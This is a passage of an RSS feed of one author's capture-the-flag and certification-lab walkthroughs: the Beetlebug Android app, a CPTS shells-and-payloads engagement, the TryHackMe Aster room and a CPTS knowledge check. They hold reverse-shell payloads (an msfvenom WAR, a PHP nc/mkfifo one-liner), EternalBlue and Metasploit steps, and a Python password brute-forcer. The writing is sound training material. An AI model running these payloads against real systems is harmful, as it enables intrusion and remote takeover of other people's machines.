Bro!!&quot;,&quot;name&quot;:&quot;abcd&quot;,&quot;website&quot;:&quot;abcd.com&quot;},&quot;Beetlebug&quot;:&quot;Beetlebug is an open source insecure Android application with CTF challenges built for Mobile Pentesters, Bug Bounty Hunters and Developers.&quot;,&quot;admin&quot;:{&quot;Exploit&quot;:&quot;Successful&quot;,&quot;email&quot;:&quot;test@gmail.cm&quot;,&quot;message&quot;:&quot;hello&quot;,&quot;name&quot;:&quot;user&quot;,&quot;website&quot;:&quot;https://google.com&quot;},&quot;flag&quot;:&quot;0x3365A10&quot;,&quot;hacker&quot;:{&quot;Exploit&quot;:&quot;Successful&quot;,&quot;email&quot;:&quot;hacker@gmail.com&quot;,&quot;message&quot;:&quot;hello hacker&quot;,&quot;name&quot;:&quot;hacker@abc&quot;,&quot;website&quot;:&quot;http://google.com&quot;},&quot;test&quot;:{&quot;-OJ1Wk5DpljBxqNpKmin&quot;:{&quot;email&quot;:&quot;mr-k0anti@wearehackerone.com&quot;,&quot;message&quot;:&quot;this firebase has been found unprotected by mr-k0anti&quot;,&quot;username&quot;:&quot;mr-k0anti&quot;},&quot;Exploit&quot;:&quot;Successfull&quot;,&quot;email&quot;:&quot;test@test.com&quot;,&quot;message&quot;:&quot;test hack&quot;,&quot;name&quot;:&quot;test&quot;,&quot;website&quot;:&quot;test.com&quot;},&quot;testing1&quot;:{&quot;-ODkTgQjJBr3iqyAt2Kd&quot;:{&quot;cat&quot;:&quot;meow&quot;,&quot;dog&quot;:&quot;bowbow&quot;}},&quot;userId&quot;:1631721730509,&quot;userToken&quot;:&quot;cp__rEcAQnuIIxGKzJ5QVd:APA91bEJkYBRCmjCN0lAxOCZof5Tn75kB2O_6mcurklu6fcs6HKWx5LaSIS2TPIziQy5LSVAoP5bNevfwNvNMX9MG90kr5ppHnoWv9Kdbh309Sq13Lai_vtMuOk1AWAE1qKLnHCgTYo0&quot;}</pre><p>ohh this is result as we can see</p><p>Flag is : 0x3365A10</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/347/1*Zin_HRAcPeotanxMU8wa7w.png" /></figure><h3>Challenge 5 : Android Components</h3><p><strong>Unprotected Activity</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/418/0*HTQ9-ZvTr5FcJZS6.png" /></figure><p>in this challenge u can’t Bypass The exported=’false&#39;,so we will use an Open Exported Activity to bypass by it</p><p>there is an admin activity that has been exported</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/553/0*jsfi35yzEmouCKhC.png" /></figure><p>and used am start command</p><pre>adb shell am start -n app.beetlebug/.ctf.b33tleAdministrator</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/702/1*D9l5Du4pUEQ-Ec3vp7vkNQ.png" /></figure><p>Amazing we got a flag</p><p>Flag is : 0x334f221</p><p><strong>Vulnerable Service</strong></p><p>let’s check source code of this activity on JADX</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*vVBb-HhVLelZW_xV.png" /></figure><p>ohh flag is directly in source code</p><p>Flag is 0x222103A</p><h3>Challenge 6 : Sensitive info Disclosure</h3><p><strong>Insecure Logging</strong></p><p>firstly i tried to enter any input</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/364/1*Dh8t4u4-KNzrx3iPt1nWjQ.png" /></figure><p>and checked a log of app</p><pre>adb logcat 5485</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/712/1*WGAR0Bxx0Y0jipecjGix_A.png" /></figure><p>oh this is flag in Log</p><p>Flag is : 0x55541d3</p><p><strong>Clipboard Data</strong></p><p>as previous ctf try to enter any</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/709/1*fifo3AnpgEYcf91vMeUkqQ.png" /></figure><p>ohh what’s this😂we got a flag</p><p>Flag is : 0x1132c4!</p><h3>Challenge 7 : Biometric Bypass</h3><p>by check the source code</p><pre>package app.beetlebug.ctf;<br><br>import android.content.ClipData;<br>import android.content.ClipboardManager;<br>import android.net.Uri;<br>import android.os.Build;<br>import android.os.Bundle;<br>import android.view.View;<br>import android.view.Window;<br>import android.widget.Button;<br>import android.widget.TextView;<br>import android.widget.Toast;<br>import androidx.appcompat.app.AppCompatActivity;<br>import app.beetlebug.R;<br>import java.util.List;<br><br>/* loaded from: classes6.dex */<br>public class DeeplinkAccountActivity extends AppCompatActivity {<br>    Button copy;<br>    TextView flag;<br>    TextView msg;<br><br>    @Override // androidx.fragment.app.FragmentActivity, androidx.activity.ComponentActivity, androidx.core.app.ComponentActivity, android.app.Activity<br>    protected void onCreate(Bundle savedInstanceState) {<br>        super.onCreate(savedInstanceState);<br>        setContentView(R.layout.activity_deeplink_account);<br>        this.flag = (TextView) findViewById(R.id.textViewFlag);<br>        this.copy = (Button) findViewById(R.id.copy);<br>        if (Build.VERSION.SDK_INT &gt;= 21) {<br>            Window window = getWindow();<br>            window.addFlags(Integer.MIN_VALUE);<br>            window.clearFlags(67108864);<br>            window.setStatusBarColor(getResources().getColor(R.color.white));<br>        }<br>        this.msg = (TextView) findViewById(R.id.textViewUrl);<br>        Uri uri = getIntent().getData();<br>        if (uri != null) {<br>            List&lt;String&gt; parameters = uri.getPathSegments();<br>            String param = parameters.get(parameters.size() - 1);<br>            this.msg.setText(param);<br>            Toast.makeText(this, &quot;Fingerprint Auth Successful&quot;, 1).show();<br>            this.copy.setOnClickListener(new View.OnClickListener() { // from class: app.beetlebug.ctf.DeeplinkAccountActivity.1<br>            });<br>        }<br>    }<br>}</pre><p>The DeeplinkAccountActivity is vulnerable to <strong>Insecure Deep Link Processing</strong>. The code extracts data directly from the URI path usinggetPathSegments() without any authentication or validation. By crafting a specific intent (beetlebug://...), an attacker can trigger this activity, bypass the simulated &#39;Fingerprint Auth&#39;, and access the hidden flag rendered in the layout</p><p>let’s make a request</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/702/1*TH2l2ztmr6uIpeW6drXsjg.png" /></figure><p>ohhh we got the flag</p><p>Flag : 0x43J123&amp;</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/367/1*jUfryWoQTPzuuCkr2ACr8w.png" /></figure><p>اللهم علّمنا ما ينفعنا، وانفعنا بما علّمتنا، وزِدنا علمًا، واجعل علمنا حُجّةً لنا لا علينا</p><h3>✅ Feel free to connect with me:</h3><ul><li><a href="https://www.linkedin.com/in/muhammed-tantawy-484441218/"><em>LinkedIn — Muhammed Tantawy</em></a></li><li><a href="http://github/tantawix/CPTS"><em>GitHub — tantawix</em></a></li></ul><p>Thanks for reading 🙌<br>More write-ups coming soon — stay tuned!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=10a0fb18f5b4" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Shells & Payloads — Live Engagement Walkthrough]]></title>
            <link>https://medium.com/@mtantawy862/shells-payloads-live-engagement-walkthrough-91f1765772c3?source=rss-89a671078c84------2</link>
            <guid isPermaLink="false">https://medium.com/p/91f1765772c3</guid>
            <dc:creator><![CDATA[0xTantawy]]></dc:creator>
            <pubDate>Thu, 04 Dec 2025 19:03:22 GMT</pubDate>
            <atom:updated>2025-12-04T19:04:02.468Z</atom:updated>
            <content:encoded><![CDATA[<h3>Shells &amp; Payloads — Live Engagement CPTS</h3><p>Hey Hackers, I’m back with another exciting write-up!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/225/0*sR2OrFog1l1nTp2y" /></figure><p>While studying for the <strong>CPTS</strong> certification — specifically the <strong>Shells and Payloads</strong> module — we had a live engagement to test our skills. <br>So let’s jump right into it!</p><h3>🎯 Objective</h3><p>We have the following simple internal network that we must compromise:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/925/1*qUrYghD1q0dAzLkI1n_tYg.png" /></figure><p>I currently have access to the foothold machine via **RDP**:</p><pre>xfreerdp3 /v:&lt;target-ip&gt; /u:&lt;username&gt; /p:&lt;password&gt;</pre><p>Our goal: <strong>gain a shell on each host in the network</strong></p><h3>🚀 Walkthrough</h3><h4>🖥️ Host-01</h4><p>As any pentester would do, I started with an Nmap scan across the network:</p><pre>nmap 172.16.0.0/23 -sV -sC</pre><p>The system we’ll focus on is: <br>`172.16.1.11` → <strong>Host-01</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/669/1*T1Ev1lscR_dHzZqZyjjoZQ.png" /></figure><p>From the scan I discovered the hostname:</p><blockquote><strong>shells-winsvr</strong></blockquote><p>Then I noticed Apache Tomcat running on port 8080. <br>I browsed the page:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/926/1*vDZqbk0_ULW3tpdyAv5NwA.png" /></figure><p>Looking for an upload feature, I checked Tomcat Manager:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/928/1*9dE2tAe6qMcmqHlCcwWLNw.png" /></figure><p>Logged in using:</p><pre>tomcat:Tomcatadm</pre><p>Inside the Manager, I found a WAR file upload section:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/942/1*50NXSshINf9Ok6Y6ewW6sg.png" /></figure><p>So I generated a reverse-shell WAR payload:</p><pre>msfvenom -p java/jsp_shell_reverse_tcp LHOST=172.16.1.5 LPORT=443 -f war &gt; shell.war</pre><p>Started a listener:</p><pre>sudo nc -nlvp 443</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/802/1*rJolQMQyrKN10qovlW4pfA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/463/1*fv6Sy7gxxIyQpF_miu6sfw.png" /></figure><p>💥 Boom! We got a shell inside the machine:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/740/1*UnFx9TJIBv2vYdGD65tCXg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/735/1*T7ZfVpVQA0k91P9Hn_yWNw.png" /></figure><p>📌 Required answer:</p><p><strong>Folder located in `C:\Shares\`</strong><br> `dev-share`</p><h4>🖥️ Host-02</h4><p>Target IP: `172.16.1.12`</p><p>Scanning:</p><pre>nmap 172.16.1.12 -sV -A</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/729/1*-rpwSF7uiU4Gfq0oAS5ICw.png" /></figure><p>OS detected:</p><p><strong>`ubuntu`</strong></p><p>Browsing the hosted site:<br><a href="http://blog.inlanefreight.local/">http://blog.inlanefreight.local</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/504/1*fnI3eWRvyhENfHILK0W75g.png" /></figure><p>📌 Question asked:</p><p>What language is the uploaded shell from the `50064.rb` exploit written in?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/534/1*oKYZ_CtcRpxU6CMYm4uQ2w.png" /></figure><p><strong>PHP</strong></p><p>From the hint, valid blog credentials were provided:</p><pre>admin : admin123!@#</pre><p>Logged in successfully</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/747/1*LSbKraEdLWxqLAtygwYWuQ.png" /></figure><p>Then launched Metasploit:</p><pre>msfconsole -q<br>reload all<br>use exploit/50064.rb</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/719/1*56oRPXqZyFLxZYyWHagyyw.png" /></figure><p>Configured exploit settings:</p><pre>set RHOSTS 172.16.1.12<br>set USERNAME admin<br>set PASSWORD admin123!@#<br>set VHOST blog.inlanefreight.local<br>run</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/724/1*kvLp3tJXNL8k-1ICWIBUzQ.png" /></figure><p>💥 And we got a shell session!</p><p>Switched to interactive shell using:</p><pre>shell</pre><p>Navigated to the required location:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/257/1*MaldRj_VNV8HRrrt3T4DGQ.png" /></figure><p>📌 Required answer:</p><p>✔ Contents of /customscripts/flag.txt</p><h4>🖥️Host-03</h4><p>Scan again:</p><pre>nmap 172.16.1.13 -A</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/492/1*t5IeLm-lJ1ppMvH_H5CsGA.png" /></figure><p>Hostname:</p><p><strong>✔ shells-winblue</strong></p><p>This host is vulnerable to the famous EternalBlue exploit (MS17–010):</p><p>“Has been known to make many sysadmins feel Blue”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/611/1*2D9eCvECDK_OAlVk_Dr27A.png" /></figure><p>Loading the exploit in Metasploit:</p><pre>use exploit/windows/smb/ms17_010_eternalblue<br>set RHOSTS 172.16.1.13<br>run</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/810/1*VBmq29-yE-82aeZOBuvkQg.png" /></figure><p>💥 Reverse shell achieved!</p><p>📌 Required answer:</p><p><strong>✔ C:\Users\Administrator\Desktop\Skills-flag.txt</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/783/1*DgqrOBHgXJoRlnAJ7-RzyQ.png" /></figure><h3>✅ Feel free to connect with me:</h3><ul><li><a href="https://www.linkedin.com/in/muhammed-tantawy-484441218/"><em>LinkedIn — Muhammed Tantawy</em></a></li><li><a href="http://github/tantawix/CPTS"><em>GitHub — tantawix</em></a></li></ul><p>Thanks for reading 🙌<br>More write-ups coming soon — stay tuned!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=91f1765772c3" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Aster RoomWalkthrough — THM]]></title>
            <link>https://medium.com/@mtantawy862/aster-roomwalkthrough-thm-c89341e92877?source=rss-89a671078c84------2</link>
            <guid isPermaLink="false">https://medium.com/p/c89341e92877</guid>
            <dc:creator><![CDATA[0xTantawy]]></dc:creator>
            <pubDate>Sat, 29 Nov 2025 15:07:10 GMT</pubDate>
            <atom:updated>2025-11-29T15:07:38.341Z</atom:updated>
            <content:encoded><![CDATA[<h3>Aster Walkthrough — THM</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/200/0*Tii3v6S7CU4-mKad.png" /></figure><p><strong>Hey hackers, it’s Tantawy back again with a new TryHackMe challenge!<br> This time, it’s a room called <em>Aster</em>, and we’re going to learn some really useful stuff from it.<br> Let’s dive in!</strong></p><p>Room Link is <a href="https://tryhackme.com/room/aster">here</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4h-BWpgRgvCtHsazp5nP0A.png" /></figure><h3>Walkthrough</h3><ul><li>The first thing we’ll start with, as usual, is an Nmap scan on all ports to see which ones are open</li></ul><pre>PORT     STATE SERVICE     REASON  VERSION<br>22/tcp   open  ssh         syn-ack OpenSSH 7.2p2 Ubuntu 4ubuntu2.10 (Ubuntu Linux; protocol 2.0)<br>| ssh-hostkey: <br>|   2048 fe:e3:52:06:50:93:2e:3f:7a:aa:fc:69:dd:cd:14:a2 (RSA)<br>| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDEs6oKJb5SNNUczex8j97pL/V93XRaRytbAH7iR9pN0HbCmc2bD/Rg4IUuDArz4USY1G5aN0r+C3fcBSlmLWaqk+uzbNZFriELMcJPKa7tP7zx7o4TVMQDepvvcZUy9Z8QoA+n4cJYOjlldkWGq/dmsPQqBHDmHowxMauJkZxh2QVR0WpDZxcjbS26O8aC62QvT5ct9wgzBzD/dVV/SC3VH7sQOPsEFj+PHGoHrFz7MntxtRyR9Ujf+Dzbk2wnUVGrc6NZt8MV3vfo5nXjBRPTaIX6XNTijQxoj0/0NJ3YwntmHOQXaPu4++fzjP9cf4+r8PNppeKNYwWLRxzjnAiZ<br>|   256 9c:4d:fd:a4:4e:18:ca:e2:c0:01:84:8c:d2:7a:51:f2 (ECDSA)<br>| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBPROPGV3YntCB4YEBuSk7u8qF0H9WxI9nTGbCJahJP4gJNcEj4uwn24Ep1eSs0kHxjFdri6+QQlPUygwRvAQqTs=<br>|   256 c5:93:a6:0c:01:8a:68:63:d7:84:16:dc:2c:0a:96:1d (ED25519)<br>|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIPrB46mC2C71WGXfIc9TwwLWhC99D9M2IxUHbQCbH0vp<br>80/tcp   open  http        syn-ack Apache httpd 2.4.18 ((Ubuntu))<br>| http-methods: <br>|_  Supported Methods: GET HEAD POST OPTIONS<br>|_http-server-header: Apache/2.4.18 (Ubuntu)<br>|_http-title: Aster CTF<br>1720/tcp open  h323q931?   syn-ack<br>2000/tcp open  cisco-sccp? syn-ack<br>5038/tcp open  asterisk    syn-ack Asterisk Call Manager 5.0.2<br>Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel</pre><p>There are some unusual ports here, like **2000 and 5038**, but let’s check the website and see what’s there</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Lyvde5E-0bHBebmUNy3RNw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/556/1*G-3X7iN0NqkaqvA1HMK3Ag.png" /></figure><ul><li>Great, there’s a file here we can download. It looks like a Python script but with the **.pyc** extension. After some search, I found out that this is a **compiled Python file**, so obviously we need to reverse it. We can do that using a tool called **uncompyle6**</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kYuyzcQZBzpZpeDzwbF3IA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/571/1*t_hK9Ka2SeILltlQzr0WVw.png" /></figure><p>I successfully reversed the file using the <strong>uncompyle6</strong> tool. Let’s see what’s inside the file. Great! This is Python code that stores an encrypted <strong>hexadecimal</strong> string inside the variable <strong>o0000o0o</strong>, like this:</p><pre>o0000o0o = &#39;476f6f646b...&#39;</pre><p>After that, it decodes and prints it. Let’s run the code</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*uRFR_n7jaMijm3cVHo-4WQ.png" /></figure><p>This is a very good hint. It tells me that the user named <strong>admin</strong> is utilizing an <strong>open source framework</strong> for communication.</p><p>After a lot of thought, I decided to look at the other ports and search for them and the running services</p><ul><li>After searching and trying every port, the last port, <strong>5038</strong>, was found to be running a service called <strong>Asterisk Call Manager</strong> (or <strong>Asterisk Manager Interface</strong> — AMI). But, What is this service?</li></ul><pre>└─$ nmap 10.82.172.60 -p 5038 -sC -sV<br>Starting Nmap 7.95 ( https://nmap.org ) at 2025-11-29 09:15 EST<br>Nmap scan report for 10.82.172.60<br>Host is up (0.075s latency).<br><br>PORT     STATE SERVICE  VERSION<br>5038/tcp open  asterisk Asterisk Call Manager 5.0.2<br><br>Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .<br>Nmap done: 1 IP address (1 host up) scanned in 2.07 seconds</pre><p>after some search The <strong>Asterisk Call Manager</strong> service, is the control heart for <strong>VoIP</strong> communications systems that use the open-source <strong>Asterisk</strong> software</p><p>And after that, I searched for its commands and learned the login command for it</p><pre>└─$ nc 10.82.172.60 5038             <br>Asterisk Call Manager/5.0.2</pre><ul><li>This is the login command</li></ul><pre>Action: Login<br>Username: &lt;user&gt;<br>Secret: &lt;password&gt;</pre><ul><li>If we recall the hint above it mentioned the user admin</li></ul><p>I tried default passwords like admin and admin123 and password but it didn’t work either</p><pre>┌──(kali㉿kali)-[~/Downloads/python]<br>└─$ nc 10.82.172.60 5038<br>Asterisk Call Manager/5.0.2<br>action: login<br>username: admin<br>secret: admin123<br><br>Response: Error<br>Message: Authentication failed</pre><ul><li>So I thought, why don’t I perform a simple Python script brute force on the password</li></ul><p>Note: I could have done it with Metasploit but I preferred to do it with a Python script</p><pre>import socket<br><br>host = &quot;&lt;DEPLOYED_MACHINE_IP&gt;&quot;<br><br>port = 5038<br><br>with open(&quot;rockyou.txt&quot;) as f:<br>    for line in f:<br>        passw = line.replace(&quot;\n&quot;,&quot;&quot;)<br>        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)<br>        s.connect((host, port))<br>        s.recv(1024)<br><br>        string = &quot;ACTION: LOGIN\nUSERNAME: admin\nSECRET: {}\nEVENTS: ON\n\n&quot;.format(passw)<br><br>        print(string)<br><br>        s.sendall(str.encode(string))<br><br>        result = s.recv(1024)<br><br>        print(result.decode(&quot;utf-8&quot;))<br>        if(not &quot;failed&quot; in result.decode(&quot;utf-8&quot;)):<br>            print(passw + &quot; is the password&quot;)<br>            break<br><br>        s.close()</pre><pre>ACTION: LOGIN<br>USERNAME: admin<br>SECRET: abc123<br>EVENTS: ON<br><br><br>Response: Success<br>Message: Authentication accepted</pre><ul><li>Awesome! It actually worked, and we got the password! Let’s log in now</li></ul><pre>                                                                                                                                                    <br>┌──(kali㉿kali)-[~/Downloads/python]<br>└─$ nc 10.82.172.60 5038<br>Asterisk Call Manager/5.0.2<br>ACTION: LOGIN<br>USERNAME: admin<br>SECRET: abc123<br>EVENTS: ON<br><br>Response: Success<br>Message: Authentication accepted<br><br>Event: FullyBooted<br>Privilege: system,all<br>Uptime: 3555<br>LastReload: 3555<br>Status: Fully Booted</pre><ul><li>I then researched the service’s commands and found a command to list the users</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1007/1*g2Jtux_VYcAuxfPuAqO7Dg.png" /></figure><p>Great, it gave me a user and password here. Let’s try to log in via SSH</p><pre>┌──(kali㉿kali)-[~/Downloads/python]<br>└─$ ssh harry@10.82.172.60                          <br>The authenticity of host &#39;10.82.172.60 (10.82.172.60)&#39; can&#39;t be established.<br>ED25519 key fingerprint is SHA256:8Awxa1+U8ihfrilnopXoNcUHTvVbAVhtZPk4RWox5tM.<br>This host key is known by the following other names/addresses:<br>    ~/.ssh/known_hosts:66: [hashed name]<br>Are you sure you want to continue connecting (yes/no/[fingerprint])? yes<br>Warning: Permanently added &#39;10.82.172.60&#39; (ED25519) to the list of known hosts.<br>harry@10.82.172.60&#39;s password: <br>Welcome to Ubuntu 16.04.7 LTS (GNU/Linux 4.4.0-186-generic x86_64)<br><br> * Documentation:  https://help.ubuntu.com<br> * Management:     https://landscape.canonical.com<br> * Support:        https://ubuntu.com/advantage<br><br>Last login: Wed Aug 12 14:25:25 2020 from 192.168.85.1<br>harry@ubuntu:~$</pre><p>It worked!</p><pre>harry@ubuntu:~$ ls<br>Example_Root.jar  user.txt<br>harry@ubuntu:~$ cat user.txt<br>[REDACTED]<br>harry@ubuntu:~$</pre><p>This secures the first flag and marks the completion of the first half of the challenge</p><p>Wait a second there’s another .jar file which means it’s a Java file and this is likely what we will use to reach the root flag</p><p>After I decompiled the file this code appeared</p><pre>/* Flags:<br>     ACC_PUBLIC<br>     ACC_STATIC<br>   <br>   public static void main(java.lang.String[])  */<br><br>void main_java.lang.String[]_void(String[] param1)<br><br>{<br>  PrintStream objectRef;<br>  boolean bVar1;<br>  FileWriter objectRef_00;<br>  File objectRef_01;<br>  <br>  objectRef_01 = new File(&quot;/tmp/flag.dat&quot;);<br>  bVar1 = Example_Root.isFileExists(objectRef_01);<br>  if (bVar1 != false) {<br>    objectRef_00 = new FileWriter(&quot;/home/harry/root.txt&quot;);<br>    objectRef_00.write(&quot;my secret &lt;3 baby&quot;);<br>    objectRef_00.close();<br>    objectRef = System.out;<br>    objectRef.println(&quot;Successfully wrote to the file.&quot;);<br>  }<br>  return;<br>}</pre><p>The code checks if a there’s a file named flag.dat in /tmp and if it has, it writes something in /home/harry/root.txt. So after checking out what it did I went back in the deployed machine, created a file /tmp/flag.dat and started searching it for a way of executing the code in Example_Root.jar as root</p><ul><li>After some searching and enumeration on the machine I decided to check crontab file</li></ul><pre>harry@ubuntu:~$ cat /etc/crontab<br># /etc/crontab: system-wide crontab<br># Unlike any other crontab you don&#39;t have to run the `crontab&#39;<br># command to install the new version when you edit this file<br># and files in /etc/cron.d. These files also have username fields,<br># that none of the other crontabs do.<br><br>SHELL=/bin/sh<br>PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin<br><br># m h dom mon dow user  command<br>17 *    * * *   root    cd / &amp;&amp; run-parts --report /etc/cron.hourly<br>*  *    * * *   root    cd /opt/ &amp;&amp; bash ufw.sh<br>25 6    * * *   root    test -x /usr/sbin/anacron || ( cd / &amp;&amp; run-parts --report /etc/cron.daily )<br>47 6    * * 7   root    test -x /usr/sbin/anacron || ( cd / &amp;&amp; run-parts --report /etc/cron.weekly )<br>52 6    1 * *   root    test -x /usr/sbin/anacron || ( cd / &amp;&amp; run-parts --report /etc/cron.monthly )<br>*  *    * * *   root    cd /root/java/ &amp;&amp; bash run.sh<br>#</pre><ul><li>Here an <strong>sh script</strong> is executed frequently inside the Java directory because the time field is set to <strong>* * * * *</strong> (meaning every minute)</li><li>I created a file named flag.dat because the program checks for it and if it exists it will create the root.txt file</li></ul><pre>harry@ubuntu:/tmp$ touch flag.dat</pre><ul><li>After that, I waited a bit and then listed the files inside /home/harry</li></ul><pre>harry@ubuntu:~$ ls<br>Example_Root.jar  root.txt  user.txt</pre><p>After that, I waited a bit and then listed the files inside /home/harry</p><pre>harry@ubuntu:~$ cat root.txt<br>[REDACTED]<br>harry@ubuntu:~$</pre><p>✅ And with that, we successfully captured both flags and completed the lab! 🚩🚩</p><h3>✅ Feel free to connect with me:</h3><ul><li><a href="https://www.linkedin.com/in/muhammed-tantawy-484441218/"><em>LinkedIn — Muhammed Tantawy</em></a></li><li><a href="https://github.com/tantawix"><em>GitHub — tantawix</em></a></li></ul><p>Thanks for reading 🙌<br>More write-ups coming soon — stay tuned!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=c89341e92877" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Knowledge Check]]></title>
            <link>https://medium.com/@mtantawy862/knowledge-check-0d14287a537b?source=rss-89a671078c84------2</link>
            <guid isPermaLink="false">https://medium.com/p/0d14287a537b</guid>
            <dc:creator><![CDATA[0xTantawy]]></dc:creator>
            <pubDate>Thu, 18 Sep 2025 16:14:12 GMT</pubDate>
            <atom:updated>2025-11-29T14:53:55.875Z</atom:updated>
            <content:encoded><![CDATA[<h3>Knowledge Check Lab — CPTS</h3><p>ohhhh, here we go again<br> Hi, Hackers 👋</p><p>As part of my CPTS studies, I’ve finished the first module, <strong>“Getting Started.”</strong><br> Today, we’re going to do a walkthrough for it — let’s dive into the lab!</p><p>The goal of this lab is to gain an initial foothold, achieve RCE on the server, and then perform privilege escalation.</p><h3>Lab Walkthrough</h3><h3>Enumeration</h3><ul><li>As usual, we’ll start with an <strong>Nmap scan</strong>:</li></ul><pre>nmap 10.129.225.216</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/676/1*c_fKkTrGfMwrg-SL-5sq0A.png" /></figure><ul><li>Great, port 80 is open — let’s take a look at the website.<br> <br> It’s a very simple site with nothing interesting.</li></ul><p><strong>Let’s try fuzzing the web server directories using the Gobuster tool:</strong></p><pre>gobuster dir -u http://10.129.225.216 -w /usr/share/wordlists/dirb/common.txt</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/787/1*S4Lws3XfIqCdv-Vzuq0ZxQ.png" /></figure><p>These are all the directories we found.</p><p>I think the data directory looks important, so let’s check it</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/821/1*6mviZEhDMMbBQ0DTZ1KCVg.png" /></figure><p>Inside users, we might find some creds.</p><p>I found a file called admin.xml, let’s open it:</p><pre>&lt;item&gt;<br>  &lt;USR&gt;admin&lt;/USR&gt;<br>  &lt;NAME/&gt;<br>  &lt;PWD&gt;d033e22ae348aeb5660fc2140aec35850c4da997&lt;/PWD&gt;<br>  &lt;EMAIL&gt;admin@gettingstarted.com&lt;/EMAIL&gt;<br>  &lt;HTMLEDITOR&gt;1&lt;/HTMLEDITOR&gt;<br>  &lt;TIMEZONE/&gt;<br>  &lt;LANG&gt;en_US&lt;/LANG&gt;<br>&lt;/item&gt;</pre><p>Here’s the file content — it seems admin is a username, and there’s a hash.<br> Let’s try cracking it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KKhKhFyaYVEEdA6tFy68fg.png" /></figure><p>Boom! After cracking, the password is admin.<br> That means we now have valid credentials.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/412/1*L9oTONx3U7AB8Yzy6Wfgsw.png" /></figure><p>If we go back to the directories we fuzzed, there’s an /admin panel.</p><p>Let’s log in with admin:admin.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4_Nxsm9yQnHMVVPRpAuHvw.png" /></figure><p>Boom! We got access to the admin panel.</p><h3>Exploitation</h3><p>After searching for a way to upload a reverse shell file for RCE, I checked the <strong>Files</strong> tab:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rYIWF4tWarBVh2RfFB4tUw.png" /></figure><p>But the upload button wasn’t working.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NgebClZMRvKt1z5Q0Fn8Zg.png" /></figure><p>Then I tried the <strong>Theme</strong> tab.</p><p>Inside, I clicked <strong>Edit Theme</strong>, which opened a PHP script that I could edit.</p><p>I added this reverse shell code and saved it:</p><pre>&lt;?php system(&quot;rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2&gt;&amp;1 | nc 10.10.14.12 4444 &gt;/tmp/f&quot;); ?&gt;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/676/1*Cl42WoadjV5SnlqLLBKgLQ.png" /></figure><p>Then I opened a listener:</p><pre>nc -nlvp 4444</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/294/1*9tc2lX7u7qKDLdLS2UaeWA.png" /></figure><p>Finally, I executed the script using curl:</p><pre>curl &quot;http://10.129.225.216/theme/Innovation/template.php&quot;</pre><figure><img alt="" 